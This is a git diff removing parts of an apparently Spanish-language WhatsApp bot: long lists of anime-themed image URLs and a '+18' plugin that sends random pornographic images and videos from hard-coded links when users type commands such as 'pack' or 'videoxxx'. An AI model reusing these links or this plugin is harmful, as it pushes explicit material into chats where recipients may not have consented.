-'https://img.nickpic.host/qLQXAF.jpg',
-'https://img.nickpic.host/qLQize.jpg',
-'https://img.nickpic.host/qLQnZX.jpg',
-'https://img.nickpic.host/qLQM5b.jpg',
-'https://img.nickpic.host/qLQRMf.jpg',
-'https://img.nickpic.host/qLQ1k6.jpg',
-'https://img.nickpic.host/qLQDsp.jpg',
-'https://img.nickpic.host/qLQwQY.jpg',
-'https://img.nickpic.host/qLQzVA.jpg',
-'https://img.nickpic.host/qLQ8pG.jpg',
-'https://img.nickpic.host/qLQKAz.jpg',
-'https://img.nickpic.host/qLQY7c.jpg',
-'https://img.nickpic.host/qLQHZW.jpg',
-'https://img.nickpic.host/qLQV51.jpg',
-'https://img.nickpic.host/qLQfRj.jpg',
-'https://img.nickpic.host/qLQ0kJ.jpg',
-'https://img.nickpic.host/qLQ9sn.jpg',
-'https://img.nickpic.host/qLQeUs.jpg',
-'https://img.nickpic.host/qLQkV2.jpg',
-'https://img.nickpic.host/qLQLpQ.jpg',
-'https://img.nickpic.host/qLQPEx.jpg',
-'https://img.nickpic.host/qLQT7N.jpg',
-'https://img.nickpic.host/qLQWdO.jpg',
-'https://img.nickpic.host/qLQdSm.jpg',
-'https://img.nickpic.host/qLQyR8.jpg',
-'https://img.nickpic.host/qLUGJq.jpg',
-'https://img.nickpic.host/qLUmsd.jpg',
-'https://img.nickpic.host/qLUoUD.jpg',
-'https://img.nickpic.host/qLUpf5.jpg',
-'https://img.nickpic.host/qLUxpP.jpg',
-'https://img.nickpic.host/qLUBEM.jpg',
-'https://img.nickpic.host/qLUb8F.jpg',
-'https://img.nickpic.host/qLUrde.jpg',
-'https://img.nickpic.host/qLU3SX.jpg',
-'https://img.nickpic.host/qLUF1b.jpg',
-'https://img.nickpic.host/qLUaJf.jpg',
-'https://img.nickpic.host/qLUl36.jpg',
-'https://img.nickpic.host/qLU5Xp.jpg',
-'https://img.nickpic.host/qLUSfY.jpg',
-'https://img.nickpic.host/qLUgvA.jpg',
-'https://img.nickpic.host/qLUqOG.jpg',
-'https://img.nickpic.host/qLUu8z.jpg',
-'https://img.nickpic.host/qLUAyc.jpg',
-'https://img.nickpic.host/qLUOSW.jpg',
-'https://img.nickpic.host/qLUh11.jpg',
-'https://img.nickpic.host/qLU6Lj.jpg',
-'https://img.nickpic.host/qLUQ3J.jpg',
-'https://img.nickpic.host/qLUUXn.jpg',
-'https://img.nickpic.host/qLUX0s.jpg',
-'https://img.nickpic.host/qLUnv2.jpg',
-'https://img.nickpic.host/qLUtOQ.jpg',
-'https://img.nickpic.host/qLUMKx.jpg',
-'https://img.nickpic.host/qLURyN.jpg',
-'https://img.nickpic.host/qLU4cO.jpg',
-'https://img.nickpic.host/qLUD4m.jpg',
-'https://img.nickpic.host/qLUwL8.jpg',
-'https://img.nickpic.host/qLU7Fq.jpg',
-'https://img.nickpic.host/qLU8Xd.jpg',
-'https://img.nickpic.host/qLUK0D.jpg',
-'https://img.nickpic.host/qLUHx5.jpg',
-'https://img.nickpic.host/qLUNOP.jpg',
-'https://img.nickpic.host/qLUVKM.jpg',
-'https://img.nickpic.host/qLU0GF.jpg',
-'https://img.nickpic.host/qLU2ce.jpg',
-'https://img.nickpic.host/qLU94X.jpg',
-'https://img.nickpic.host/qLUePb.jpg',
-'https://img.nickpic.host/qLUJFf.jpg',
-'https://img.nickpic.host/qLULi6.jpg',
-'https://img.nickpic.host/qLUP2p.jpg',
-'https://img.nickpic.host/qLUWxY.jpg',
-'https://img.nickpic.host/qLUZhA.jpg',
-'https://img.nickpic.host/qLUdYG.jpg',
-'https://img.nickpic.host/qLXGGz.jpg',
-'https://img.nickpic.host/qLXIgc.jpg',
-'https://img.nickpic.host/qLXm4W.jpg',
-'https://img.nickpic.host/qLXoP1.jpg',
-'https://img.nickpic.host/qLXvaj.jpg',
-'https://img.nickpic.host/qLXxiJ.jpg',
-'https://img.nickpic.host/qLXB2n.jpg',
-'https://img.nickpic.host/qLXrBs.jpg',
-'https://img.nickpic.host/qLXsh2.jpg',
-'https://img.nickpic.host/qLX3YQ.jpg',
-'https://img.nickpic.host/qLXaIx.jpg',
-'https://img.nickpic.host/qLXjgN.jpg',
-'https://img.nickpic.host/qLXlDO.jpg',
-'https://img.nickpic.host/qLX5Tm.jpg',
-'https://img.nickpic.host/qLXca8.jpg',
-'https://img.nickpic.host/qLXgnq.jpg',
-'https://img.nickpic.host/qLXq2d.jpg',
-'https://img.nickpic.host/qLXABD.jpg',
-'https://img.nickpic.host/qLXE65.jpg',
-'https://img.nickpic.host/qLXOYP.jpg',
-'https://img.nickpic.host/qLX6IM.jpg',
-'https://img.nickpic.host/qLXCqF.jpg',
-'https://img.nickpic.host/qLXQDe.jpg',
-'https://img.nickpic.host/qLXUTX.jpg',
-'https://img.nickpic.host/qLXijb.jpg',
-'https://img.nickpic.host/qLXnnf.jpg',
-'https://img.nickpic.host/qLXt96.jpg',
-'https://img.nickpic.host/qLXRbp.jpg',
-'https://img.nickpic.host/qLX16Y.jpg',
-'https://img.nickpic.host/qLX4HA.jpg',
-'https://img.nickpic.host/qLXwmG.jpg',
-'https://img.nickpic.host/qLXzqz.jpg',
-'https://img.nickpic.host/qLX7wc.jpg',
-'https://img.nickpic.host/qLX8TW.jpg',
-'https://img.nickpic.host/qLXYj1.jpg',
-'https://img.nickpic.host/qLXHtj.jpg',
-'https://img.nickpic.host/qLXN9J.jpg',
-'https://img.nickpic.host/qLXfbn.jpg',
-'https://img.nickpic.host/qLX0Cs.jpg',
-'https://img.nickpic.host/qLX2H2.jpg',
-'https://img.nickpic.host/qLXkux.jpg',
-'https://img.nickpic.host/qLXemQ.jpg',
-'https://img.nickpic.host/qLXJwN.jpg',
-'https://img.nickpic.host/qLXLWO.jpg',
-'https://img.nickpic.host/qLXTlm.jpg',
-'https://img.nickpic.host/qLXWt8.jpg',
-'https://img.nickpic.host/qLXZeq.jpg',
-'https://img.nickpic.host/qLXybd.jpg',
-'https://img.nickpic.host/qLiGCD.jpg',
-'https://img.nickpic.host/qLiIN5.jpg',
-'https://img.nickpic.host/qLiomP.jpg',
-'https://img.nickpic.host/qLipuM.jpg',
-'https://img.nickpic.host/qLixWe.jpg',
-'https://img.nickpic.host/qLivzF.jpg',
-'https://img.nickpic.host/qLiblX.jpg',
-'https://img.nickpic.host/qLirMb.jpg',
-'https://img.nickpic.host/qLisef.jpg',
-'https://img.nickpic.host/qLiFr6.jpg',
-'https://img.nickpic.host/qLiaQp.jpg',
-'https://img.nickpic.host/qLijNY.jpg',
-'https://img.nickpic.host/qLi5oA.jpg',
-'https://img.nickpic.host/qLiSAG.jpg',
-'https://img.nickpic.host/qLiczz.jpg',
-'https://img.nickpic.host/qLigZc.jpg',
-'https://img.nickpic.host/qLiulW.jpg',
-'https://img.nickpic.host/qLiAM1.jpg',
-'https://img.nickpic.host/qLiEkj.jpg',
-'https://img.nickpic.host/qLihrJ.jpg',
-'https://img.nickpic.host/qLi6Qn.jpg',
-'https://img.nickpic.host/qLiCVs.jpg',
-'https://img.nickpic.host/qLiUo2.jpg',
-'https://img.nickpic.host/qLiXAQ.jpg',
-'https://img.nickpic.host/qLii7x.jpg',
-'https://img.nickpic.host/qLinZN.jpg',
-'https://img.nickpic.host/qLiM5O.jpg',
-'https://img.nickpic.host/qLiRRm.jpg',
-'https://img.nickpic.host/qLi1k8.jpg',
-'https://img.nickpic.host/qLiDsq.jpg',
-'https://img.nickpic.host/qLiwQd.jpg',
-'https://img.nickpic.host/qLizVD.jpg',
-'https://img.nickpic.host/qLi8p5.jpg',
-'https://img.nickpic.host/qLiKAP.jpg',
-'https://img.nickpic.host/qLiY7M.jpg',
-'https://img.nickpic.host/qLiHdF.jpg',
-'https://img.nickpic.host/qLiV5e.jpg',
-'https://img.nickpic.host/qLifRX.jpg',
-'https://img.nickpic.host/qLi0Jb.jpg',
-'https://img.nickpic.host/qLi9sf.jpg',
-'https://img.nickpic.host/qLieU6.jpg',
-'https://img.nickpic.host/qLikfp.jpg',
-'https://img.nickpic.host/qLiLpY.jpg',
-'https://img.nickpic.host/qLiPEA.jpg',
-'https://img.nickpic.host/qLiT8G.jpg',
-'https://img.nickpic.host/qLiWdz.jpg',
-'https://img.nickpic.host/qLidSc.jpg',
-'https://img.nickpic.host/qLiyRW.jpg',
-'https://img.nickpic.host/qLnGJ1.jpg',
-'https://img.nickpic.host/qLnm3j.jpg',
-'https://img.nickpic.host/qLnoUJ.jpg',
-'https://img.nickpic.host/qLnpfn.jpg',
-'https://img.nickpic.host/qLnxvs.jpg',
-'https://img.nickpic.host/qLnBE2.jpg',
-'https://img.nickpic.host/qLnb8Q.jpg',
-'https://img.nickpic.host/qLnryx.jpg',
-'https://img.nickpic.host/qLn3SN.jpg',
-'https://img.nickpic.host/qLnF1O.jpg',
-'https://img.nickpic.host/qLnaLm.jpg',
-'https://img.nickpic.host/qLnl38.jpg',
-'https://img.nickpic.host/qLn5Xq.jpg',
-'https://img.nickpic.host/qLnSfd.jpg',
-'https://img.nickpic.host/qLngvD.jpg',
-'https://img.nickpic.host/qLnqO5.jpg',
-'https://img.nickpic.host/qLnu8P.jpg',
-'https://img.nickpic.host/qLnAyM.jpg',
-'https://img.nickpic.host/qLnOcF.jpg',
-'https://img.nickpic.host/qLnh1e.jpg',
-'https://img.nickpic.host/qLn6LX.jpg',
-'https://img.nickpic.host/qLnQFb.jpg',
-'https://img.nickpic.host/qLnUXf.jpg',
-'https://img.nickpic.host/qLnX06.jpg',
-'https://img.nickpic.host/qLnnxp.jpg',
-'https://img.nickpic.host/qLntOY.jpg',
-'https://img.nickpic.host/qLn1GG.jpg',
-'https://img.nickpic.host/qLnMKA.jpg',
-'https://img.nickpic.host/qLn4cz.jpg',
-'https://img.nickpic.host/qLnD4c.jpg',
-'https://img.nickpic.host/qLnwLW.jpg',
-'https://img.nickpic.host/qLn7F1.jpg',
-'https://img.nickpic.host/qLn8ij.jpg',
-'https://img.nickpic.host/qLnK0J.jpg',
-'https://img.nickpic.host/qLnHxn.jpg',
-'https://img.nickpic.host/qLnNhs.jpg',
-'https://img.nickpic.host/qLnVK2.jpg',
-'https://img.nickpic.host/qLn0GQ.jpg',
-'https://img.nickpic.host/qLn2gx.jpg',
-'https://img.nickpic.host/qLn94N.jpg',
-'https://img.nickpic.host/qLnePO.jpg',
-'https://img.nickpic.host/qLnJam.jpg',
-'https://img.nickpic.host/qLnLi8.jpg',
-'https://img.nickpic.host/qLnP2q.jpg',
-'https://img.nickpic.host/qLnWxd.jpg',
-'https://img.nickpic.host/qLnZhD.jpg',
-'https://img.nickpic.host/qLndY5.jpg',
-'https://img.nickpic.host/qLtGGP.jpg',
-'https://img.nickpic.host/qLtIgM.jpg',
-'https://img.nickpic.host/qLtmDF.jpg',
-'https://img.nickpic.host/qLtoPe.jpg',
-'https://img.nickpic.host/qLtvaX.jpg',
-'https://img.nickpic.host/qLtxnb.jpg',
-'https://img.nickpic.host/qLtB2f.jpg',
-'https://img.nickpic.host/qLtrB6.jpg',
-'https://img.nickpic.host/qLts6p.jpg',
-'https://img.nickpic.host/qLt3YY.jpg',
-'https://img.nickpic.host/qLtaIA.jpg',
-'https://img.nickpic.host/qLtjqG.jpg',
-'https://img.nickpic.host/qLtlDz.jpg',
-'https://img.nickpic.host/qLt5Tc.jpg',
-'https://img.nickpic.host/qLtcaW.jpg',
-'https://img.nickpic.host/qLtgn1.jpg',
-'https://img.nickpic.host/qLtq9j.jpg',
-'https://img.nickpic.host/qLtABJ.jpg',
-'https://img.nickpic.host/qLtE6n.jpg',
-'https://img.nickpic.host/qLtOHs.jpg',
-'https://img.nickpic.host/qLt6I2.jpg',
-'https://img.nickpic.host/qLtCqQ.jpg',
-'https://img.nickpic.host/qLtQwx.jpg',
-'https://img.nickpic.host/qLtUTN.jpg',
-'https://img.nickpic.host/qLtijO.jpg',
-'https://img.nickpic.host/qLtntm.jpg',
-'https://img.nickpic.host/qLtt98.jpg',
-'https://img.nickpic.host/qLtRbq.jpg',
-'https://img.nickpic.host/qLt16d.jpg',
-'https://img.nickpic.host/qLt4HD.jpg',
-'https://img.nickpic.host/qLtwm5.jpg',
-'https://img.nickpic.host/qLtzqP.jpg']
-
-
-global.naruto = ['https://img.nickpic.host/q4Si96.jpg',
-'https://img.nickpic.host/q4SXnf.jpg',
-'https://img.nickpic.host/q4SUjb.jpg',
-'https://img.nickpic.host/q4SCTX.jpg',
-'https://img.nickpic.host/q4S6De.jpg',
-'https://img.nickpic.host/q4ShqF.jpg',
-'https://img.nickpic.host/q4SOIM.jpg',
-'https://img.nickpic.host/q4Su65.jpg',
-'https://img.nickpic.host/q4SAYP.jpg',
-'https://img.nickpic.host/q4SqBD.jpg',
-'https://img.nickpic.host/q4Stbp.jpg',
-'https://img.nickpic.host/q4SM6Y.jpg',
-'https://img.nickpic.host/q4SRHA.jpg',
-'https://img.nickpic.host/q4S4mG.jpg',
-'https://img.nickpic.host/q4SDqz.jpg',
-'https://img.nickpic.host/q4SzTW.jpg',
-'https://img.nickpic.host/q4Swwc.jpg',
-'https://img.nickpic.host/q4S8j1.jpg',
-'https://img.nickpic.host/q4SKtj.jpg',
-'https://img.nickpic.host/q4SY9J.jpg',
-'https://img.nickpic.host/q4SNbn.jpg',
-'https://img.nickpic.host/q4SVCs.jpg',
-'https://img.nickpic.host/q4SfH2.jpg',
-'https://img.nickpic.host/q4S2mQ.jpg',
-'https://img.nickpic.host/q4S9ux.jpg',
-'https://img.nickpic.host/q4SewN.jpg',
-'https://img.nickpic.host/q4SkWO.jpg',
-'https://img.nickpic.host/q4SLlm.jpg',
-'https://img.nickpic.host/q4SPt8.jpg',
-'https://img.nickpic.host/q4STeq.jpg',
-'https://img.nickpic.host/q4SZbd.jpg',
-'https://img.nickpic.host/q4SdCD.jpg',
-'https://img.nickpic.host/q4SyN5.jpg',
-'https://img.nickpic.host/q4cImP.jpg',
-'https://img.nickpic.host/q4cmuM.jpg',
-'https://img.nickpic.host/q4cozF.jpg',
-'https://img.nickpic.host/q4cpWe.jpg',
-'https://img.nickpic.host/q4cxlX.jpg',
-'https://img.nickpic.host/q4cBMb.jpg',
-'https://img.nickpic.host/q4cbef.jpg',
-'https://img.nickpic.host/q4csr6.jpg',
-'https://img.nickpic.host/q4cFNY.jpg',
-'https://img.nickpic.host/q4c3Qp.jpg',
-'https://img.nickpic.host/q4cjoA.jpg',
-'https://img.nickpic.host/q4clAG.jpg',
-'https://img.nickpic.host/q4c5zz.jpg',
-'https://img.nickpic.host/q4cglW.jpg',
-'https://img.nickpic.host/q4cSZc.jpg',
-'https://img.nickpic.host/q4cqM1.jpg',
-'https://img.nickpic.host/q4cukj.jpg',
-'https://img.nickpic.host/q4cErJ.jpg',
-'https://img.nickpic.host/q4cOQn.jpg',
-'https://img.nickpic.host/q4chVs.jpg',
-'https://img.nickpic.host/q4cCo2.jpg',
-'https://img.nickpic.host/q4cQAQ.jpg',
-'https://img.nickpic.host/q4cU7x.jpg',
-'https://img.nickpic.host/q4cXZN.jpg',
-'https://img.nickpic.host/q4cn5O.jpg',
-'https://img.nickpic.host/q4ctRm.jpg',
-'https://img.nickpic.host/q4cMk8.jpg',
-'https://img.nickpic.host/q4c1sq.jpg',
-'https://img.nickpic.host/q4cDVD.jpg',
-'https://img.nickpic.host/q4c4Qd.jpg',
-'https://img.nickpic.host/q4czp5.jpg',
-'https://img.nickpic.host/q4c7AP.jpg',
-'https://img.nickpic.host/q4c87M.jpg',
-'https://img.nickpic.host/q4cKdF.jpg',
-'https://img.nickpic.host/q4cH5e.jpg',
-'https://img.nickpic.host/q4cVJb.jpg',
-'https://img.nickpic.host/q4cNRX.jpg',
-'https://img.nickpic.host/q4c0sf.jpg',
-'https://img.nickpic.host/q4c2U6.jpg',
-'https://img.nickpic.host/q4ckpY.jpg',
-'https://img.nickpic.host/q4cJEA.jpg',
-'https://img.nickpic.host/q4c9fp.jpg',
-'https://img.nickpic.host/q4cL8G.jpg',
-'https://img.nickpic.host/q4cPdz.jpg',
-'https://img.nickpic.host/q4cWSc.jpg',
-'https://img.nickpic.host/q4cZRW.jpg',
-'https://img.nickpic.host/q4cdJ1.jpg',
-'https://img.nickpic.host/q4gG3j.jpg',
-'https://img.nickpic.host/q4gIUJ.jpg',
-'https://img.nickpic.host/q4gmfn.jpg',
-'https://img.nickpic.host/q4gpvs.jpg',
-'https://img.nickpic.host/q4gvE2.jpg',
-'https://img.nickpic.host/q4gx8Q.jpg',
-'https://img.nickpic.host/q4gByx.jpg',
-'https://img.nickpic.host/q4gs1O.jpg',
-'https://img.nickpic.host/q4grSN.jpg',
-'https://img.nickpic.host/q4g3Lm.jpg',
-'https://img.nickpic.host/q4ga38.jpg',
-'https://img.nickpic.host/q4gjXq.jpg',
-'https://img.nickpic.host/q4gSvD.jpg',
-'https://img.nickpic.host/q4glfd.jpg',
-'https://img.nickpic.host/q4gcO5.jpg',
-'https://img.nickpic.host/q4gg8P.jpg',
-'https://img.nickpic.host/q4gqyM.jpg',
-'https://img.nickpic.host/q4gAcF.jpg',
-'https://img.nickpic.host/q4gE1e.jpg',
-'https://img.nickpic.host/q4gOLX.jpg',
-'https://img.nickpic.host/q4g6Fb.jpg',
-'https://img.nickpic.host/q4gCXf.jpg',
-'https://img.nickpic.host/q4gQ06.jpg',
-'https://img.nickpic.host/q4gXxp.jpg',
-'https://img.nickpic.host/q4giOY.jpg',
-'https://img.nickpic.host/q4gnKA.jpg',
-'https://img.nickpic.host/q4gMGG.jpg',
-'https://img.nickpic.host/q4gRcz.jpg',
-'https://img.nickpic.host/q4g14c.jpg',
-'https://img.nickpic.host/q4g4LW.jpg',
-'https://img.nickpic.host/q4gwF1.jpg',
-'https://img.nickpic.host/q4gzij.jpg',
-'https://img.nickpic.host/q4g70J.jpg',
-'https://img.nickpic.host/q4gYhs.jpg',
-'https://img.nickpic.host/q4gKxn.jpg',
-'https://img.nickpic.host/q4gHK2.jpg',
-'https://img.nickpic.host/q4gVGQ.jpg',
-'https://img.nickpic.host/q4gfgx.jpg',
-'https://img.nickpic.host/q4g04N.jpg',
-'https://img.nickpic.host/q4g2PO.jpg',
-'https://img.nickpic.host/q4geam.jpg',
-'https://img.nickpic.host/q4gki8.jpg',
-'https://img.nickpic.host/q4gJ2q.jpg',
-'https://img.nickpic.host/q4gPxd.jpg',
-'https://img.nickpic.host/q4gThD.jpg',
-'https://img.nickpic.host/q4gWY5.jpg',
-'https://img.nickpic.host/q4gdGP.jpg',
-'https://img.nickpic.host/q4qGDF.jpg',
-'https://img.nickpic.host/q4gygM.jpg',
-'https://img.nickpic.host/q4qIPe.jpg',
-'https://img.nickpic.host/q4qoaX.jpg',
-'https://img.nickpic.host/q4qpnb.jpg',
-'https://img.nickpic.host/q4qBB6.jpg',
-'https://img.nickpic.host/q4qv2f.jpg',
-'https://img.nickpic.host/q4qb6p.jpg',
-'https://img.nickpic.host/q4qrYY.jpg',
-'https://img.nickpic.host/q4q3IA.jpg',
-'https://img.nickpic.host/q4qFqG.jpg',
-'https://img.nickpic.host/q4qaDz.jpg',
-'https://img.nickpic.host/q4qjTc.jpg',
-'https://img.nickpic.host/q4qSn1.jpg',
-'https://img.nickpic.host/q4q5aW.jpg',
-'https://img.nickpic.host/q4qc9j.jpg',
-'https://img.nickpic.host/q4qqBJ.jpg',
-'https://img.nickpic.host/q4qu6n.jpg',
-'https://img.nickpic.host/q4qAHs.jpg',
-'https://img.nickpic.host/q4qOI2.jpg',
-'https://img.nickpic.host/q4qhqQ.jpg',
-'https://img.nickpic.host/q4q6wx.jpg',
-'https://img.nickpic.host/q4qCTN.jpg',
-'https://img.nickpic.host/q4qUjO.jpg',
-'https://img.nickpic.host/q4qXtm.jpg',
-'https://img.nickpic.host/q4qi98.jpg',
-'https://img.nickpic.host/q4qtbq.jpg',
-'https://img.nickpic.host/q4qM6d.jpg',
-'https://img.nickpic.host/q4qRHD.jpg',
-'https://img.nickpic.host/q4q4m5.jpg',
-'https://img.nickpic.host/q4qDqP.jpg',
-'https://img.nickpic.host/q4qwwM.jpg',
-'https://img.nickpic.host/q4qzWF.jpg',
-'https://img.nickpic.host/q4q8je.jpg',
-'https://img.nickpic.host/q4qKtX.jpg',
-'https://img.nickpic.host/q4qYeb.jpg',
-'https://img.nickpic.host/q4qNbf.jpg',
-'https://img.nickpic.host/q4qVC6.jpg',
-'https://img.nickpic.host/q4qfNp.jpg',
-'https://img.nickpic.host/q4q2mY.jpg',
-'https://img.nickpic.host/q4q9uA.jpg',
-'https://img.nickpic.host/q4qezG.jpg',
-'https://img.nickpic.host/q4qLlc.jpg',
-'https://img.nickpic.host/q4qkWz.jpg',
-'https://img.nickpic.host/q4qPtW.jpg',
-'https://img.nickpic.host/q4qTe1.jpg',
-'https://img.nickpic.host/q4qZrj.jpg',
-'https://img.nickpic.host/q4qdCJ.jpg',
-'https://img.nickpic.host/q4qyNn.jpg',
-'https://img.nickpic.host/q4uIos.jpg',
-'https://img.nickpic.host/q4umu2.jpg',
-'https://img.nickpic.host/q4uozQ.jpg',
-'https://img.nickpic.host/q4upZx.jpg',
-'https://img.nickpic.host/q4uxlN.jpg',
-'https://img.nickpic.host/q4uBMO.jpg',
-'https://img.nickpic.host/q4usr8.jpg',
-'https://img.nickpic.host/q4ubkm.jpg',
-'https://img.nickpic.host/q4u3Qq.jpg',
-'https://img.nickpic.host/q4uFNd.jpg',
-'https://img.nickpic.host/q4ujoD.jpg',
-'https://img.nickpic.host/q4ulA5.jpg',
-'https://img.nickpic.host/q4u5zP.jpg',
-'https://img.nickpic.host/q4uSZM.jpg',
-'https://img.nickpic.host/q4ug5F.jpg',
-'https://img.nickpic.host/q4uqMe.jpg',
-'https://img.nickpic.host/q4uukX.jpg',
-'https://img.nickpic.host/q4uEsb.jpg',
-'https://img.nickpic.host/q4uOQf.jpg',
-'https://img.nickpic.host/q4uhV6.jpg',
-'https://img.nickpic.host/q4uCpp.jpg',
-'https://img.nickpic.host/q4uQAY.jpg',
-'https://img.nickpic.host/q4uU7A.jpg',
-'https://img.nickpic.host/q4uXdG.jpg',
-'https://img.nickpic.host/q4un5z.jpg',
-'https://img.nickpic.host/q4u1s1.jpg',
-'https://img.nickpic.host/q4utRc.jpg',
-'https://img.nickpic.host/q4uMkW.jpg',
-'https://img.nickpic.host/q4u4Uj.jpg',
-'https://img.nickpic.host/q4uzpn.jpg',
-'https://img.nickpic.host/q4uDVJ.jpg',
-'https://img.nickpic.host/q4u7Es.jpg',
-'https://img.nickpic.host/q4u872.jpg',
-'https://img.nickpic.host/q4uKdQ.jpg',
-'https://img.nickpic.host/q4uNRN.jpg',
-'https://img.nickpic.host/q4uHSx.jpg',
-'https://img.nickpic.host/q4u03m.jpg',
-'https://img.nickpic.host/q4uVJO.jpg',
-'https://img.nickpic.host/q4u2U8.jpg',
-'https://img.nickpic.host/q4u9fq.jpg',
-'https://img.nickpic.host/q4ukpd.jpg',
-'https://img.nickpic.host/q4uJED.jpg',
-'https://img.nickpic.host/q4uL85.jpg',
-'https://img.nickpic.host/q4uPdP.jpg',
-'https://img.nickpic.host/q4uWSM.jpg',
-'https://img.nickpic.host/q4uZ1F.jpg',
-'https://img.nickpic.host/q4udJe.jpg',
-'https://img.nickpic.host/q4AG3X.jpg',
-'https://img.nickpic.host/q4AIXb.jpg',
-'https://img.nickpic.host/q4Amff.jpg',
-'https://img.nickpic.host/q4Apv6.jpg',
-'https://img.nickpic.host/q4AvOp.jpg',
-'https://img.nickpic.host/q4Ax8Y.jpg',
-'https://img.nickpic.host/q4AByA.jpg',
-'https://img.nickpic.host/q4ArcG.jpg',
-'https://img.nickpic.host/q4As1z.jpg',
-'https://img.nickpic.host/q4A3Lc.jpg',
-'https://img.nickpic.host/q4Aa3W.jpg',
-'https://img.nickpic.host/q4AjX1.jpg',
-'https://img.nickpic.host/q4Al0j.jpg',
-'https://img.nickpic.host/q4ASvJ.jpg',
-'https://img.nickpic.host/q4AcOn.jpg',
-'https://img.nickpic.host/q4AgKs.jpg',
-'https://img.nickpic.host/q4Aqy2.jpg',
-'https://img.nickpic.host/q4AE4x.jpg',
-'https://img.nickpic.host/q4AAcQ.jpg',
-'https://img.nickpic.host/q4AOLN.jpg',
-'https://img.nickpic.host/q4A6FO.jpg',
-'https://img.nickpic.host/q4ACim.jpg',
-'https://img.nickpic.host/q4AQ08.jpg',
-'https://img.nickpic.host/q4AXxq.jpg',
-'https://img.nickpic.host/q4AiOd.jpg',
-'https://img.nickpic.host/q4AnKD.jpg',
-'https://img.nickpic.host/q4AMG5.jpg']
-
-
-global.kitagawa = ['https://img.nickpic.host/uwMiSJ.jpg',
-'https://img.nickpic.host/uwMUyj.jpg',
-'https://img.nickpic.host/uwMQ81.jpg',
-'https://img.nickpic.host/uwMCEW.jpg',
-'https://img.nickpic.host/uwM6vc.jpg',
-'https://img.nickpic.host/uwMOfz.jpg',
-'https://img.nickpic.host/uwMEXG.jpg',
-'https://img.nickpic.host/uwMA3A.jpg',
-'https://img.nickpic.host/uwMqJY.jpg',
-'https://img.nickpic.host/uwMg1p.jpg',
-'https://img.nickpic.host/uwMcS6.jpg',
-'https://img.nickpic.host/uwM5df.jpg',
-'https://img.nickpic.host/uwMl8b.jpg',
-'https://img.nickpic.host/uwMjEX.jpg',
-'https://img.nickpic.host/uwMape.jpg',
-'https://img.nickpic.host/uwM3fF.jpg',
-'https://img.nickpic.host/uwMsUM.jpg',
-'https://img.nickpic.host/uwMrsP.jpg',
-'https://img.nickpic.host/uwMBJ5.jpg',
-'https://img.nickpic.host/uwMxRD.jpg',
-'https://img.nickpic.host/uwMv5d.jpg',
-'https://img.nickpic.host/uwModq.jpg',
-'https://img.nickpic.host/uwMm78.jpg',
-'https://img.nickpic.host/uwMIEm.jpg',
-'https://img.nickpic.host/uwMGpO.jpg',
-'https://img.nickpic.host/uwtdVN.jpg',
-'https://img.nickpic.host/uwtZUx.jpg',
-'https://img.nickpic.host/uwtWsQ.jpg']
diff --git a/plugins/comandos+18-pack.js b/plugins/comandos+18-pack.js
deleted file mode 100644
index 55d15f011..000000000
--- a/plugins/comandos+18-pack.js
+++ /dev/null
@@ -1,182 +0,0 @@
-import fetch from 'node-fetch';
-const handler = async (m, {conn, command, usedPrefix}) => {
-if (!db.data.chats[m.chat].modohorny && m.isGroup) throw `[ ⚠️ ] Los comandos +18 estan desactivados en este grupo, si es administrador de este grupo y desea activarlos escriba #enable modohorny para activar*`
- switch (command) {
- case 'pack':
- const url = await pack[Math.floor(Math.random() * pack.length)];
- conn.sendMessage(m.chat, {image: {url: url}, caption: `_🥵 aqui tiene mi Pack 😏_`}, {quoted: m});
- break;
- case 'pack2':
- const url2 = await packgirl[Math.floor(Math.random() * packgirl.length)];
- conn.sendMessage(m.chat, {image: {url: url2}, caption: `_🥵 aqui tiene mi Pack 😏_`}, {quoted: m});
- break;
- case 'pack3':
- const url3 = await packmen[Math.floor(Math.random() * packmen.length)];
- conn.sendMessage(m.chat, {image: {url: url3}, caption: `__🥵 aqui tiene mi Pack 😏_`}, {quoted: m});
- break;
- case 'videoxxx': case 'vídeoxxx':
- const url4 = await videosxxxc[Math.floor(Math.random() * videosxxxc.length)];
- await conn.sendMessage(m.chat, {video: {url: url4}, caption: `*ᴅɪsғʀᴜᴛᴀ ᴅᴇʟ ᴠɪᴅᴇᴏ 🥵*`}, {quoted: m});
- break;
- case 'videoxxxlesbi': case 'videolesbixxx': case 'pornolesbivid': case 'pornolesbianavid': case 'pornolesbiv': case 'pornolesbianav': case 'pornolesv':
- const url5 = await videosxxxc2[Math.floor(Math.random() * videosxxxc2.length)];
- await conn.sendMessage(m.chat, {video: {url: url5}, caption: `*ᴅɪsғʀᴜᴛᴀ ᴅᴇʟ ᴠɪᴅᴇᴏ 🥵*`}, {quoted: m});
- break;
- }
-};
-handler.command = /^(pack|pack2|pack3|videoxxx|vídeoxxx|videoxxxlesbi|videolesbixxx|pornolesbivid|pornolesbianavid|pornolesbiv|pornolesbianav|pornolesv)$/i;
-handler.limit = 2
-handler.register = true
-export default handler;
-
-global.pack = [
- 'https://telegra.ph/file/957fe4031132ef90b66ec.jpg',
- 'https://telegra.ph/file/c4b85bd53030cb648382f.jpg',
- 'https://telegra.ph/file/df56f8a76145df9c923ad.jpg',
- 'https://telegra.ph/file/d5d1c2c710c4b5ee8bc6c.jpg',
- 'https://telegra.ph/file/d0c0cd47e87535373ab68.jpg',
- 'https://telegra.ph/file/651a5a9dc96c97c8ef8fc.jpg',
- 'https://telegra.ph/file/f857ae461ceab18c38de2.jpg',
- 'https://telegra.ph/file/5d2a2aeff5e6fbd229eff.jpg',
- 'https://telegra.ph/file/b93573531f898ea875dd0.jpg',
- 'https://telegra.ph/file/c798b3959f84d345b0f25.jpg',
- 'https://telegra.ph/file/de820647f8cabce533557.jpg',
- 'https://telegra.ph/file/e105097d5fadf3e522eb5.jpg',
- 'https://telegra.ph/file/8592e352a9ee6c7244737.jpg',
- 'https://telegra.ph/file/bb9c7d879b7dc1d86a2ce.jpg',
- 'https://telegra.ph/file/83f108601e6105446ad1f.jpg',
- 'https://telegra.ph/file/2a6bff14e53ed2533ad25.jpg',
- 'https://telegra.ph/file/e37d74aeccc5bdfd6be3e.jpg',
- 'https://telegra.ph/file/ca984650af06b951e961d.jpg',
- 'https://telegra.ph/file/ebb3ac7f7498dd09f6afc.jpg',
- 'https://telegra.ph/file/6192305a24ffb8fa30942.jpg',
- 'https://telegra.ph/file/ee67c17d0043b98dc757e.jpg',
- 'https://telegra.ph/file/6ae756b686cd2b5950721.jpg',
- 'https://telegra.ph/file/b1e1da38d897d117c2aa9.jpg',
- 'https://telegra.ph/file/6b759437dc8b863c2fa19.jpg',
